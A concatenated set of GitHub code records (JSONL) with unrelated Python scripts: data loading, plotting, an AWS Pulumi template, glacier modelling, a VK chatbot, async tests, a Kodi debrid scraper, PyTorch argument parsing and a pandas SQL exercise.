\"20 - 25\", \"25 - 30\", \"30 - 35\",\n \"35 - 40\", \"40 - 45\", \"45 - 50\", \"50 - 55\", \"55 - 60\", \"60 - 65\", \"65 - 70\", \"70 - 75\", \"75 - 80\", \"80 - 85\", \"> 85\"]\n\n # Remove the rows that do not containg a cancer code\n df = df[df['Code'].str.match('^C\\d{2}|^M\\w{2}', na=False)]\n\n # Reshape the DataFrame from wide to long format\n df = pd.melt(df, id_vars=[\"Code\", \"Name\", \"Total\"],\n var_name=\"Age\", value_name=\"Count\")\n \n # Add year, region and gender to each row\n df.insert(0, \"Year\", year)\n df.insert(1, \"Region\", region)\n df.insert(2, \"Gender\", gender)\n\n # Sort the DataFrame\n df = df.sort_values(by=[\"Year\", \"Region\", \"Gender\", \"Code\", \"Age\"])\n\n # Replace missing values with 0\n df = df.replace('-', 0)\n\n # Remove the Total column\n df = df.drop(columns=[\"Total\"])\n\n # Convert the Count column to integers\n df[\"Count\"] = df[\"Count\"].astype(int)\n\n # Add the DataFrame to the all_data DataFrame\n all_data = pd.concat([all_data, df])\n\n print(\"Added:\", filename)\n\n# Reset the index\nall_data = all_data.reset_index(drop=True)\n\n# Save the data to a CSV file\nall_data.to_csv(\"all_data.csv\", index=False)\n\n# Get info on merged DataFrame\nprint(all_data.head())\nprint(all_data.tail())\nprint(all_data.info())\nprint(all_data.describe())\nprint(all_data.shape)\nprint(all_data[\"Year\"].unique())\nprint(all_data[\"Region\"].unique())\n","repo_name":"LouisDeconinck/cancer-data","sub_path":"load_raw.py","file_name":"load_raw.py","file_ext":"py","file_size_in_byte":2396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"71639267278","text":"\"\"\"\n***********************************************************\n\nDescription: Week-10 Assignment\n\t\t Idea : Using matplotlib to show a pie chart\n\t\t graph of the value distribution of different stocks \n\t\t \n \nHumam Al-Haideri\n\nRevision: 6/7/2019\n\"\"\"\n#importing required modules and libraries.\n\nimport matplotlib.pyplot as plt\nimport matplotlib\n\n\nlabels = ['GOOGL', 'MSFT', 'RDS-A', 'AIG', 'FB', 'M', 'F', 'IBM']\nc_prices = [941.53, 73.04, 55.74, 65.27, 172.54, 23.98, 10.95, 145.3]\n\n#Creating pie chart.\nplt.pie(c_prices, labels = labels)\nplt.title(\"Daily Stock Rates\", fontsize=20)\t\nplt.ylabel(\"Stock Value in US Dollar\", fontsize=10)\t\nplt.legend()\nplt.savefig('Stock Rates.png', bbox_inches='tight')\t\nplt.show()\n\n","repo_name":"humam1990/Week-10-Assignment-Humam-al-Haideri","sub_path":"Week-10 Assignment - Humam Al-Haideri.py","file_name":"Week-10 Assignment - Humam Al-Haideri.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"73413303117","text":"import pulumi\nimport pulumi_aws as aws\n\nexample_transit_gateway = aws.ec2transitgateway.TransitGateway(\"exampleTransitGateway\")\nexample_customer_gateway = aws.ec2.CustomerGateway(\"exampleCustomerGateway\",\n bgp_asn=65000,\n ip_address=\"172.0.0.1\",\n type=\"ipsec.1\")\nexample_vpn_connection = aws.ec2.VpnConnection(\"exampleVpnConnection\",\n customer_gateway_id=example_customer_gateway.id,\n transit_gateway_id=example_transit_gateway.id,\n type=example_customer_gateway.type)\n\n","repo_name":"justinvp/templates-aws","sub_path":"aws.ec2.VpnConnection.ec2-transit-gateway-python/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"29"} +{"seq_id":"26481622167","text":"#!/usr/bin/env python3\n\n\"\"\"\n@author: Guillaume Jouvet\n \n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport tensorflow as tf\nimport time\n\nfrom igm import Igm\nfrom igm_clim_aletsch import *\nfrom igm_smb_accmelt import *\n\n# add extensions for climate generation and mass balance to the core igm class\nclass Igm(Igm,Igm_clim_aletsch, Igm_smb_accmelt):\n pass\n\n# add custum seeding function, to seeding in the \"seeding\" area defined in geology.nc\nclass Igm(Igm):\n def seeding_particles(self):\n # here we seed where i) thickness is higher than 1 m\n # ii) the seeding field of geology.nc is active\n # iii) on the gridseed (which permit to control the seeding density)\n I = (self.thk>1)&(self.seeding>0.5)&self.gridseed # here you may redefine how you want to seed particles\n self.nxpos = self.X[I] # x position of the particle\n self.nypos = self.Y[I] # y position of the particle\n self.nzpos = self.usurf[I] # z position of the particle\n self.nrhpos = tf.ones_like(self.X[I]) # relative position in the ice column\n self.nwpos = tf.ones_like(self.X[I]) # this is the weight of the particle\n\n# define the igm class\nglacier = Igm()\n\n# change parameters\nglacier.config.working_dir = ''\nglacier.config.tstart = 1880\nglacier.config.tend = 2020\nglacier.config.tsave = 1\nglacier.config.cfl = 0.25\n\nglacier.config.iceflow_model_lib_path= '../../model-lib/f15_cfsflow_GJ_22_a'\nglacier.config.type_climate = 'aletsch'\n\nglacier.config.init_slidingco = 0\nglacier.config.init_arrhenius = 78\n\n# option 1: traditional ams model (acc / melt) -- uncoment these lines\nglacier.config.type_mass_balance = 'accmelt'\nglacier.config.massbalance_file = 'massbalance.nc'\n\n# option 2: emulated smb model by a CNN -- uncoment these lines\n#glacier.config.smb_model_lib_path = '../../model-lib/smb1_meteoswissglamos_GJ_21_a'\n#glacier.config.type_mass_balance = 'nn'\n#glacier.config.clim_time_resolution = 12\n\nglacier.config.weight_accumulation = 1.00\nglacier.config.weight_ablation = 1.25\n\nglacier.config.usegpu = True\n\nglacier.config.varplot_max = 250\nglacier.config.plot_result = False\nglacier.config.plot_live = False\n\n# This permits to give sme weight to accumaulation bassins\nglacier.config.weight_Aletschfirn = 1.0\nglacier.config.weight_Jungfraufirn = 1.0\nglacier.config.weight_Ewigschneefeld = 1.0\n\n# This permits to compute particle trajectories\ntracking_particles = False # activate particle tracking\nglacier.config.tracking_method = '3d'\nglacier.config.frequency_seeding = 500 # we seed every 500 years\nglacier.config.density_seeding = 0.5 # we seed each second point of the 2D grid\n\n# From now, we could have call glacier.run(), but we instead give all steps to embed some \n# features like defining initial surface, or check modelled vs observed top DEM std\n\nglacier.initialize()\n\nwith tf.device(glacier.device_name):\n\n glacier.load_ncdf_data(glacier.config.geology_file)\n \n # load the surface toporgaphy available at given year\n glacier.usurf.assign(vars(glacier)['surf_'+str(int(glacier.t))])\n glacier.thk.assign(glacier.usurf-glacier.topg)\n \n glacier.initialize_fields()\n \n while glacier.t < glacier.config.tend:\n \n glacier.tcomp[\"All\"].append(time.time())\n \n # For thes year, check the std between modelled and observed surfaces\n if glacier.t in [1880,1926,1957,1980,1999,2009,2017]:\n diff = (glacier.usurf-vars(glacier)['surf_'+str(int(glacier.t))]).numpy()\n diff = diff[glacier.thk>1]\n mean = np.mean(diff)\n std = np.std(diff)\n vol = np.sum(glacier.thk) * (glacier.dx ** 2) / 10 ** 9\n print(\" Check modelled vs observed surface at time : %8.0f ; Mean discr. : %8.2f ; Std : %8.2f | Ice volume : %8.2f \" \\\n % (glacier.t, mean, std, vol) )\n \n glacier.update_climate()\n glacier.update_smb() \n glacier.update_iceflow()\n if tracking_particles:\n if (glacier.t>=1900): \n glacier.update_particles()\n glacier.update_t_dt()\n glacier.update_thk()\n glacier.update_ncdf_ex()\n glacier.update_ncdf_ts()\n glacier.update_plot()\n glacier.print_info()\n \n glacier.tcomp[\"All\"][-1] -= time.time()\n glacier.tcomp[\"All\"][-1] *= -1\n \n glacier.print_all_comp_info()\n\n\n# Uncomment this to watch the density/weight of debris\n# fig, ax = plt.subplots(1,1,figsize=(8,8),dpi=200) \n# im= plt.imshow(igm.weight_particles,origin='lower',vmax=5); \n# cbar = fig.colorbar(im, orientation=\"vertical\")\n# cbar.set_label(label='Density of debris' ,fontsize=12)\n# cbar.ax.tick_params(labelsize=12)\n# ax.axis('off')\n","repo_name":"jouvetg/igm_old","sub_path":"examples/aletsch-1880-2100/igm-run.py","file_name":"igm-run.py","file_ext":"py","file_size_in_byte":5049,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"29"} +{"seq_id":"21902994762","text":"import random\nimport vk_api\nimport logging\n\nfrom pony.orm import db_session\nfrom vk_api.bot_longpoll import VkBotLongPoll, VkBotEventType\n\nimport handlers\nfrom models import UserState\n\nlog = logging.getLogger('bot')\n\ntry:\n import settings\nexcept ImportError:\n exit(\"DO cp settings.py.default settings.py\")\n\n\ndef configure_logging():\n log.setLevel(logging.DEBUG)\n\n stream_handler = logging.StreamHandler()\n stream_handler.setFormatter(logging.Formatter('%(name)s %(message)s'))\n stream_handler.setLevel(logging.INFO)\n log.addHandler(stream_handler)\n\n file_handler = logging.FileHandler(filename='bot.log', encoding='UTF-8', mode='w')\n file_handler.setFormatter(logging.Formatter('%(asctime)s %(name)s %(message)s', datefmt='%d-%m-%Y %H:%M')) # TODO\n file_handler.setLevel(logging.DEBUG)\n log.addHandler(file_handler)\n\n\nclass Bot:\n \"\"\" Бот-синебот для vk.com с поддержкой IP \"Товарищ майор - удалённый доступ\" \"\"\"\n\n def __init__(self, group_id, token):\n \"\"\"\n\n :param group_id: групп ID из группы vk\n :param token: секретный токен\n \"\"\"\n self.group_id = group_id\n self.token = token\n self.vk = vk_api.VkApi(token=token)\n self.long_poller = VkBotLongPoll(self.vk, self.group_id)\n self.api = self.vk.get_api()\n # self.user_states = dict() # user ID : user state\n\n def run(self):\n \"\"\" Запуск бота\"\"\"\n for event in self.long_poller.listen():\n try:\n self.on_event(event)\n except Exception:\n log.exception('Вот, что пошло не так: ')\n\n @db_session\n def on_event(self, event):\n \"\"\"\n Обрабатывает события\n :param event: VkBotMessageEvent object\n :return:\n \"\"\"\n if event.type != VkBotEventType.MESSAGE_NEW:\n return\n # user_id = event.message['from_id']\n user_id = event.object['message']['from_id']\n # text = event.message['text']\n text = event.object['message']['text']\n state = UserState.get(user_id=str(user_id))\n\n if state is not None:\n # продолжаем сценарий\n text_to_send = self.continue_scenario(user_id=user_id, text=text, state=state)\n else:\n # ищем новый интент\n go = True\n for intent in settings.INTENTS: # пробегаемся по нашим паттернам\n if go:\n for token in intent['tokens'].split(): # проверяем каждый токен в паттерне\n if text.lower().find(token) != -1:\n if intent['answer']:\n text_to_send = intent['answer']\n log.debug('Пользователь с ID: %d интересовался нашим мероприятием', user_id)\n else:\n text_to_send = self.start_scenario(user_id, intent['scenario'])\n go = False\n break\n else:\n text_to_send = settings.DEFAULT_ANSWER\n\n self.api.messages.send(peer_id=user_id,\n message=text_to_send,\n random_id=random.randint(0, 2 ** 20))\n\n def start_scenario(self, user_id, scenario_name):\n scenario = settings.SCENARIOS[scenario_name]\n first_step = scenario['first_step']\n step = scenario['steps'][first_step]\n text_to_send = step['text']\n # self.user_states[user_id] = UserState(scenario_name=scenario_name, step_name=first_step, context={})\n UserState(user_id=str(user_id), scenario_name=scenario_name, step_name=first_step, context={})\n return text_to_send\n\n\n def continue_scenario(self, user_id, text, state):\n steps = settings.SCENARIOS[state.scenario_name]['steps']\n step = steps[state.step_name]\n\n handler = getattr(handlers, step['handler']) # находит функцию handle_name или handle_event\n if handler(text=text, context=state.context):\n next_step = steps[step['next_step']]\n text_to_send = next_step['text'].format(**state.context) # отформатировали текст при помощи значений state.context\n if next_step['next_step']:\n state.step_name = step['next_step']\n log.debug('Пользователь с ID: %d, внёс информацию: %s', user_id,\n state.context)\n else:\n log.debug('Зарегистрировался пользователь с ID: %d, name: %s, с email: %s', user_id,\n state.context['name'], state.context['email'])\n state.delete()\n else:\n text_to_send = step['failure_text'].format(**state.context)\n return text_to_send\n\n\nif __name__ == '__main__':\n configure_logging()\n bot = Bot(group_id=settings.GROUP_ID, token=settings.TOKEN)\n bot.run()\n","repo_name":"StasBobov/chatbot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":5261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"42595938126","text":"#!/usr/bin/env python\n# (c)2015 John Strickler\nfrom datetime import datetime\nimport openpyxl as px\n\nwb = px.load_workbook('../DATA/computer_people.xlsx')\n\nws = wb['people']\n\nage_total = 0\nnum_people = 0\n\ntoday = datetime.now()\n\nfor row in ws['A2:D9']:\n birthday = row[3].value\n age = (today - birthday).days // 365\n print(age)\n age_total += age\n num_people += 1\n\navg_age = age_total/num_people\nprint((\"Average age is {}\".format(avg_age)))\n","repo_name":"rodrigolcocaflores/Python-for-Data-Science","sub_path":"ANSWERS/age_of_geeks.py","file_name":"age_of_geeks.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"29136474709","text":"\"\"\"Test for asynchronous operations utility functions.\"\"\"\n\nimport pytest\n\nfrom octomachinery.utils.asynctools import amap, dict_to_kwargs_cb, try_await\n\n\ndef sync_power2(val):\n \"\"\"Raise x to the power of 2.\"\"\"\n return val ** 2\n\n\nasync def async_power2(val):\n \"\"\"Raise x to the power of 2 asynchronously.\"\"\"\n return sync_power2(val)\n\n\n@pytest.mark.parametrize(\n 'callback_func',\n (\n sync_power2,\n async_power2,\n ),\n)\nasync def test_amap(callback_func):\n \"\"\"Test that async map works for both sync and async callables.\"\"\"\n async def async_iter(*args, **kwargs):\n for _ in range(*args, **kwargs):\n yield _\n\n test_range = 5\n\n actual_result = [\n i async for i in amap(callback_func, async_iter(test_range))\n ]\n expected_result = [\n await try_await(callback_func(i)) for i in range(test_range)\n ]\n assert actual_result == expected_result\n\n\n@pytest.mark.parametrize(\n 'callback_func',\n (\n sync_power2,\n async_power2,\n ),\n)\nasync def test_dict_to_kwargs_cb(callback_func):\n \"\"\"Test that input dict is turned into given (a)sync callable args.\"\"\"\n test_val = 5\n test_dict = {'val': test_val}\n\n actual_result = await dict_to_kwargs_cb(callback_func)(test_dict)\n expected_result = await try_await(callback_func(test_val))\n assert actual_result == expected_result\n\n\n@pytest.mark.parametrize(\n 'callback_func,callback_arg',\n (\n (sync_power2, 3),\n (async_power2, 8),\n ),\n)\nasync def test_try_await(callback_func, callback_arg):\n \"\"\"Test that result is awaited regardless of (a)sync func type.\"\"\"\n actual_result = await try_await(callback_func(callback_arg))\n expected_result = callback_arg ** 2\n assert actual_result == expected_result\n\n\nasync def test_try_await_bypass_errors():\n \"\"\"Test that internal callback exceptions are propagated.\"\"\"\n async def break_callback():\n raise TypeError('It is broken')\n\n with pytest.raises(TypeError, match='It is broken'):\n await try_await(break_callback())\n","repo_name":"sanitizers/octomachinery","sub_path":"tests/utils/asynctools_test.py","file_name":"asynctools_test.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"29"} +{"seq_id":"70729540877","text":"# -*- coding: utf-8 -*-\r\nfrom threading import Thread\r\nfrom apis.alldebrid_api import AllDebridAPI\r\nfrom caches import fen_cache\r\nfrom modules.source_utils import get_release_quality, get_file_info, supported_video_extensions, internal_results\r\nfrom modules.utils import clean_title, clean_file_name, normalize\r\nfrom modules.settings import debrid_enabled\r\n# from modules.utils import logger\r\n\r\nAllDebrid = AllDebridAPI()\r\n_cache = fen_cache.FenCache()\r\n\r\nclass AllDebridSource:\r\n\tdef __init__(self):\r\n\t\tself.scrape_provider = 'ad-cloud'\r\n\t\tself.enabled = debrid_enabled('ad')\r\n\t\tself.sources = []\r\n\t\tself.folder_results = []\r\n\t\tself.scrape_results = []\r\n\r\n\tdef results(self, info):\r\n\t\ttry:\r\n\t\t\tif not self.enabled: return internal_results(self.scrape_provider, self.sources)\r\n\t\t\tself.info = info\r\n\t\t\tself.db_type = self.info.get(\"db_type\")\r\n\t\t\tself.title = self.info.get(\"title\")\r\n\t\t\tself.year = self.info.get(\"year\")\r\n\t\t\tif self.year: self.rootname = '%s (%s)' % (self.title, self.year)\r\n\t\t\telse: self.rootname = self.title\r\n\t\t\tself.season = self.info.get(\"season\", None)\r\n\t\t\tself.episode = self.info.get(\"episode\", None)\r\n\t\t\tself.extensions = supported_video_extensions()\r\n\t\t\tself.folder_query = clean_title(normalize(self.title))\r\n\t\t\tself.file_query = clean_title(normalize(self.title))\r\n\t\t\tself.query_list = self._year_query_list() if self.db_type == 'movie' else self._episode_query_list()\r\n\t\t\tself._scrape_cloud()\r\n\t\t\tif not self.scrape_results: return internal_results(self.scrape_provider, self.sources)\r\n\t\t\tdef _process():\r\n\t\t\t\tfor item in self.scrape_results:\r\n\t\t\t\t\ttry:\r\n\t\t\t\t\t\tfile_name = normalize(item['filename'])\r\n\t\t\t\t\t\tURLName = clean_file_name(file_name).replace('html', ' ').replace('+', ' ').replace('-', ' ')\r\n\t\t\t\t\t\tfile_dl = item['link']\r\n\t\t\t\t\t\tsize = float(int(item['size']))/1073741824\r\n\t\t\t\t\t\tvideo_quality = get_release_quality(file_name)\r\n\t\t\t\t\t\tdetails = get_file_info(file_name)\r\n\t\t\t\t\t\tsource_item = {'name': file_name,\r\n\t\t\t\t\t\t\t\t\t\t'title': file_name,\r\n\t\t\t\t\t\t\t\t\t\t'URLName': URLName,\r\n\t\t\t\t\t\t\t\t\t\t'quality': video_quality,\r\n\t\t\t\t\t\t\t\t\t\t'size': size,\r\n\t\t\t\t\t\t\t\t\t\t'size_label': '%.2f GB' % size,\r\n\t\t\t\t\t\t\t\t\t\t'extraInfo': details,\r\n\t\t\t\t\t\t\t\t\t\t'url_dl': file_dl,\r\n\t\t\t\t\t\t\t\t\t\t'id': file_dl,\r\n\t\t\t\t\t\t\t\t\t\t'downloads': False,\r\n\t\t\t\t\t\t\t\t\t\t'direct': True,\r\n\t\t\t\t\t\t\t\t\t\t'source': self.scrape_provider,\r\n\t\t\t\t\t\t\t\t\t\t'scrape_provider': self.scrape_provider}\r\n\t\t\t\t\t\tyield source_item\r\n\t\t\t\t\texcept: pass\r\n\t\t\tself.sources = list(_process())\r\n\t\texcept Exception as e:\r\n\t\t\t\tfrom modules.utils import logger\r\n\t\t\t\tlogger('FEN alldebrid scraper Exception', e)\r\n\t\tinternal_results(self.scrape_provider, self.sources)\r\n\t\treturn self.sources\r\n\r\n\tdef _assigned_content(self, raw_name):\r\n\t\ttry:\r\n\t\t\tstring = 'FEN_AD_%s' % raw_name\r\n\t\t\treturn _cache.get(string)\r\n\t\texcept:\r\n\t\t\treturn False\r\n\r\n\tdef _scrape_cloud(self):\r\n\t\ttry:\r\n\t\t\tthreads = []\r\n\t\t\ttry: my_cloud_files = AllDebrid.user_cloud()['magnets']\r\n\t\t\texcept: return self.sources\r\n\t\t\tmy_cloud_files = [i for i in my_cloud_files if i['statusCode'] == 4]\r\n\t\t\tfor item in my_cloud_files:\r\n\t\t\t\tfolder_name = clean_title(normalize(item['filename']))\r\n\t\t\t\tassigned_content = self._assigned_content(normalize(item['filename']))\r\n\t\t\t\tif assigned_content:\r\n\t\t\t\t\tif assigned_content == self.rootname:\r\n\t\t\t\t\t\tself.folder_results.append((normalize(item['filename']), item, True))\r\n\t\t\t\telif self.folder_query in folder_name or not folder_name:\r\n\t\t\t\t\tself.folder_results.append((normalize(item['filename']), item, False))\r\n\t\t\tif not self.folder_results: return self.sources\r\n\t\t\tfor i in self.folder_results: threads.append(Thread(target=self._scrape_folders, args=(i,)))\r\n\t\t\t[i.start() for i in threads]\r\n\t\t\t[i.join() for i in threads]\r\n\t\texcept: pass\r\n\r\n\tdef _scrape_folders(self, folder_info):\r\n\t\ttry:\r\n\t\t\tassigned_folder = folder_info[2]\r\n\t\t\ttorrent_folder = folder_info[1]\r\n\t\t\tlinks = torrent_folder['links']\r\n\t\t\tlinks = [i for i in links if i['filename'].lower().endswith(tuple(self.extensions))]\r\n\t\t\tfor item in links:\r\n\t\t\t\tfilename = clean_title(normalize(item['filename']))\r\n\t\t\t\tif assigned_folder and self.db_type == 'movie':\r\n\t\t\t\t\t\tself.scrape_results.append(item)\r\n\t\t\t\telif any(x in filename for x in self.query_list):\r\n\t\t\t\t\tif assigned_folder:\r\n\t\t\t\t\t\tself.scrape_results.append(item)\r\n\t\t\t\t\telif self.folder_query in filename:\r\n\t\t\t\t\t\tself.scrape_results.append(item)\r\n\t\texcept: return\r\n\r\n\tdef _year_query_list(self):\r\n\t\treturn [str(self.year), str(int(self.year)+1), str(int(self.year)-1)]\r\n\r\n\tdef _episode_query_list(self):\r\n\t\treturn ['s%02de%02d' % (int(self.season), int(self.episode)),\r\n\t\t\t\t'%dx%02d' % (int(self.season), int(self.episode)),\r\n\t\t\t\t'%02dx%02d' % (int(self.season), int(self.episode)),\r\n\t\t\t\t'season%02depisode%02d' % (int(self.season), int(self.episode)),\r\n\t\t\t\t'season%depisode%02d' % (int(self.season), int(self.episode)),\r\n\t\t\t\t'season%depisode%d' % (int(self.season), int(self.episode))] \r\n\r\n\r\n\r\n","repo_name":"rostifer72/repository.fro","sub_path":"leia/plugin.video.fen/resources/lib/scrapers/ad_cache.py","file_name":"ad_cache.py","file_ext":"py","file_size_in_byte":4860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"25827295977","text":"import argparse\nimport os\n\n\ndef parse_common_args(parser):\n \"\"\"\n 先用 parse_common_args 添加训练测试共用的一些参数,供 parse_train_args 和 parse_test_args 调用\n\n :param\n model_type: 模型的名字,配合 model 目录和 model_entry.py 使用;\n data_type:数据集的名字,配合 data 目录和 data_entry.py 使用;\n save_prefix: 训练时:实验的名字,可以备注自己改了那些重要组件,具体的参数,会用于创建保存模型的目录;\n 测试时:测试的名字,可以备注测试时做了哪些配置,会用于创建保存测试结果的目录;\n load_model_path:训练时,作为预训练模型路径,\n 测试时,作为待测模型路径,有的人喜欢传入一个模型名字,再传入一个 epoch ,但其实没啥必要,就算要循环测多个目录,我们也可以写 shell 生成对应的 load_model_path ,而且通常只需要测最后一个 epoch 的模型;\n load_not_strict:我写了一个 load_match_dict 函数(utils/torch_utils.py),允许加载的模型和当前模型的参数不完全匹配,可多可少,如果打开这个选项,就会调用此函数,这样我们就可以修改模型的某个组件,然后用之前的模型来做预训练啦!如果关闭,就会用 torch 原本的加载逻辑,要求比较严格的参数匹配;\n val_list: 训练时可以传入验证集 list ,\n 测试时可以传入测试集 list ;\n gpus:可以配置训练或测试时使用的显卡编号,在多卡训练时需要用到,测试时也可以指定显卡编号,绕开其他正在用的显卡,当然你也可以在命令行里 export CUDA_VISIBLE_DEVICES 这个环境变量来控制\n\n :return:\n \"\"\"\n\n parser.add_argument('--model_type', type=str, default='base_model', help='used in model_entry.py')\n parser.add_argument('--data_type', type=str, default='base_dataset', help='used in data_entry.py')\n parser.add_argument('--save_prefix', type=str, default='pref', help='some comment for model or test result dir')\n parser.add_argument('--load_model_path', type=str, default='checkpoint/base_model_pref/0.pth',\n help='model path for pretrain or test')\n parser.add_argument('--load_not_strict', action='store_true', help='allow to load only common state dicts')\n parser.add_argument('--val_list', type=str, default='/data/dataset1/list/base/val.txt',\n help='val list in train, test list path in test')\n parser.add_argument('--gpus', nargs='+', type=int)\n parser.add_argument('--seed', type=int, default=1234)\n return parser\n\n\ndef parse_train_args(parser):\n \"\"\"\n\n :param\n lr,momentum, beta, weight-decay: optmizer 相关参数,在 train.py 中初始化optimizer\n model_dir:模型的存储目录,留空,不用传入,会在 get_train_model_dir 函数中确定这个字段的值,创建对应的目录,填充到 args 中,方便其他模块获得模型路径\n train_list:训练集list路径\n batch_size:训练时的batch size,有人可能会问,为啥测试时不用设置 batch size ?主要是出于测试时的可视化需求,往往测试需要一张一张 forward ,所以我习惯将测试 batch size 为 1\n epochs:模型训练epoch数\n\n :return:\n \"\"\"\n parser = parse_common_args(parser)\n parser.add_argument('--lr', type=float, default=1e-3, help='learning rate')\n parser.add_argument('--momentum', default=0.9, type=float, metavar='M',\n help='momentum for sgd, alpha parameter for adam')\n parser.add_argument('--beta', default=0.999, type=float, metavar='M',\n help='beta parameters for adam')\n parser.add_argument('--weight-decay', '--wd', default=0, type=float,\n metavar='W', help='weight decay')\n parser.add_argument('--model_dir', type=str, default='', help='leave blank, auto generated')\n parser.add_argument('--train_list', type=str, default='/data/dataset1/list/base/train.txt')\n parser.add_argument('--batch_size', type=int, default=16)\n parser.add_argument('--epochs', type=int, default=100)\n return parser\n\n\ndef parse_test_args(parser):\n \"\"\"\n\n :param\n save_viz:控制是否保存可视化结果的开关\n result_dir:可视化结果和测试结果的存储目录,留空,不用传入,会在get_test_result_dir中自动生成,自动创建目录,这个目录通常位于模型路径下,形如checkpoint/model_name/checkpoint_num/val_info_save_prefix\n\n :return:\n \"\"\"\n parser = parse_common_args(parser)\n parser.add_argument('--save_viz', action='store_true', help='save viz result in eval or not')\n parser.add_argument('--result_dir', type=str, default='', help='leave blank, auto generated')\n return parser\n\n\ndef get_train_args():\n parser = argparse.ArgumentParser()\n parser = parse_train_args(parser)\n args = parser.parse_args()\n return args\n\n\ndef get_test_args():\n parser = argparse.ArgumentParser()\n parser = parse_test_args(parser)\n args = parser.parse_args()\n return args\n\n\ndef get_train_model_dir(args):\n model_dir = os.path.join('checkpoint', args.model_type + '_' + args.save_prefix)\n if not os.path.exists(model_dir):\n os.system('mkdir -p ' + model_dir)\n args.model_dir = model_dir\n\n\ndef get_test_result_dir(args):\n ext = os.path.basename(args.load_model_path).split('.')[-1]\n model_dir = args.load_model_path.replace(ext, '')\n val_info = os.path.basename(os.path.dirname(args.val_list)) + '_' + os.path.basename(args.val_list.replace('.txt', ''))\n result_dir = os.path.join(model_dir, val_info + '_' + args.save_prefix)\n if not os.path.exists(result_dir):\n os.system('mkdir -p ' + result_dir)\n args.result_dir = result_dir\n\n\ndef save_args(args, save_dir):\n args_path = os.path.join(save_dir, 'args.txt')\n with open(args_path, 'w') as fd:\n fd.write(str(args).replace(', ', ',\\n'))\n\n\ndef prepare_train_args():\n args = get_train_args()\n get_train_model_dir(args)\n save_args(args, args.model_dir)\n return args\n\n\ndef prepare_test_args():\n args = get_test_args()\n get_test_result_dir(args)\n save_args(args, args.result_dir)\n return args\n\n\nif __name__ == '__main__':\n train_args = get_train_args()\n test_args = get_test_args()\n","repo_name":"lkontheway/pytorch_project","sub_path":"options.py","file_name":"options.py","file_ext":"py","file_size_in_byte":6509,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"27967231231","text":"import pandas as pd\nfrom inline_sql import sql, sql_val\n#%%\nprint()\nprint(\"# =============================================================================\")\nprint(\"# Creamos los datasets que vamos a utilizar en este programa\")\nprint(\"# =============================================================================\")\n\n# Ejercicio 1,2\nvuelo = pd.read_csv(\"vuelo.csv\") \naeropuerto = pd.read_csv(\"aeropuerto.csv\") \npasajero = pd.read_csv(\"pasajero.csv\") \nreserva = pd.read_csv(\"reserva.csv\")\n\n# Ejercicio JOIN tuplas espúreas\nempleadoRol= pd.read_csv(\"empleadoRol.csv\") \nrolProyecto= pd.read_csv(\"rolProyecto.csv\") \n# Funciones de Agregacion\nexamen = pd.read_csv(\"examen.csv\")\nexamen03 = pd.read_csv(\"examen03.csv\")\n# OPERACIONES ENTRE DATABASES\ndef get_alumnosBD():\n # Genera el dataframe \"alumnosBD\" que contiene las siguientes columnas \n # (en el orden mencionado):\n # 1. ID\n # 2. Nombre\n \n # ... Creamos el dataframe vacío (sólo con los nombres de sus columnas)\n alumnosBD = pd.DataFrame(columns = ['ID', 'Nombre'])\n # ... Agregamos cada una de las filas al dataFrame\n alumnosBD = pd.concat([alumnosBD,pd.DataFrame([\n {'ID' : 1, 'Nombre' : 'Diego' },\n {'ID' : 2, 'Nombre' : 'Laura' },\n {'ID' : 3, 'Nombre' : 'Marina'}\n ])\n ])\n return alumnosBD\n\n\ndef get_alumnosTLeng():\n # Genera el dataframe alumnosTLeng que contiene las siguientes columnas \n # (en el orden mencionado):\n # 1. ID\n # 2. Nombre\n \n # ... Creamos el dataframe vacío (sólo con los nombres de sus columnas)\n alumnosTLeng = pd.DataFrame(columns = ['ID', 'Nombre'])\n # ... Agregamos cada una de las filas al dataFrame\n alumnosTLeng = pd.concat([alumnosTLeng,pd.DataFrame([\n {'ID' : 2, 'Nombre' : 'Laura' },\n {'ID' : 4, 'Nombre' : 'Alejandro'}\n ])\n ])\n return alumnosTLeng\nalumnosBD = get_alumnosBD()\nalumnosTLeng = get_alumnosTLeng()\n\ndef get_persona_ejemploCrossJoin():\n # Genera el dataframe \"persona\" que contiene las siguientes columnas \n # (en el orden mencionado):\n # 1. Nombre\n # 2. Nacionalidad\n \n # ... Creamos el dataframe vac��o (sólo con los nombres de sus columnas)\n persona = pd.DataFrame(columns = ['Nombre', 'Nacionalidad'])\n # ... Agregamos cada una de las filas al dataFrame\n persona = pd.concat([persona,pd.DataFrame([\n {'Nombre' : 'Diego' , 'Nacionalidad' : 'AR' },\n {'Nombre' : 'Laura' , 'Nacionalidad' : 'BR' },\n {'Nombre' : 'Marina' , 'Nacionalidad' : 'AR' }\n ])\n ])\n return persona\n\ndef get_nacionalidades():\n # Genera el dataframe \"nacionalidades\" que contiene las siguientes columnas \n # (en el orden mencionado):\n # 1. IDN (Id Nacionalidad)\n # 2. Detalle\n \n # ... Creamos el dataframe vacío (sólo con los nombres de sus columnas)\n nacionalidades = pd.DataFrame(columns = ['IDN', 'Detalle'])\n # ... Agregamos cada una de las filas al dataFrame\n nacionalidades = pd.concat([nacionalidades,pd.DataFrame([\n {'IDN' : 'AR', 'Detalle' : 'Agentina'},\n {'IDN' : 'BR', 'Detalle' : 'Brasilera'},\n {'IDN' : 'CH', 'Detalle' : 'Chilena'}\n ])\n ])\n return nacionalidades\npersona = 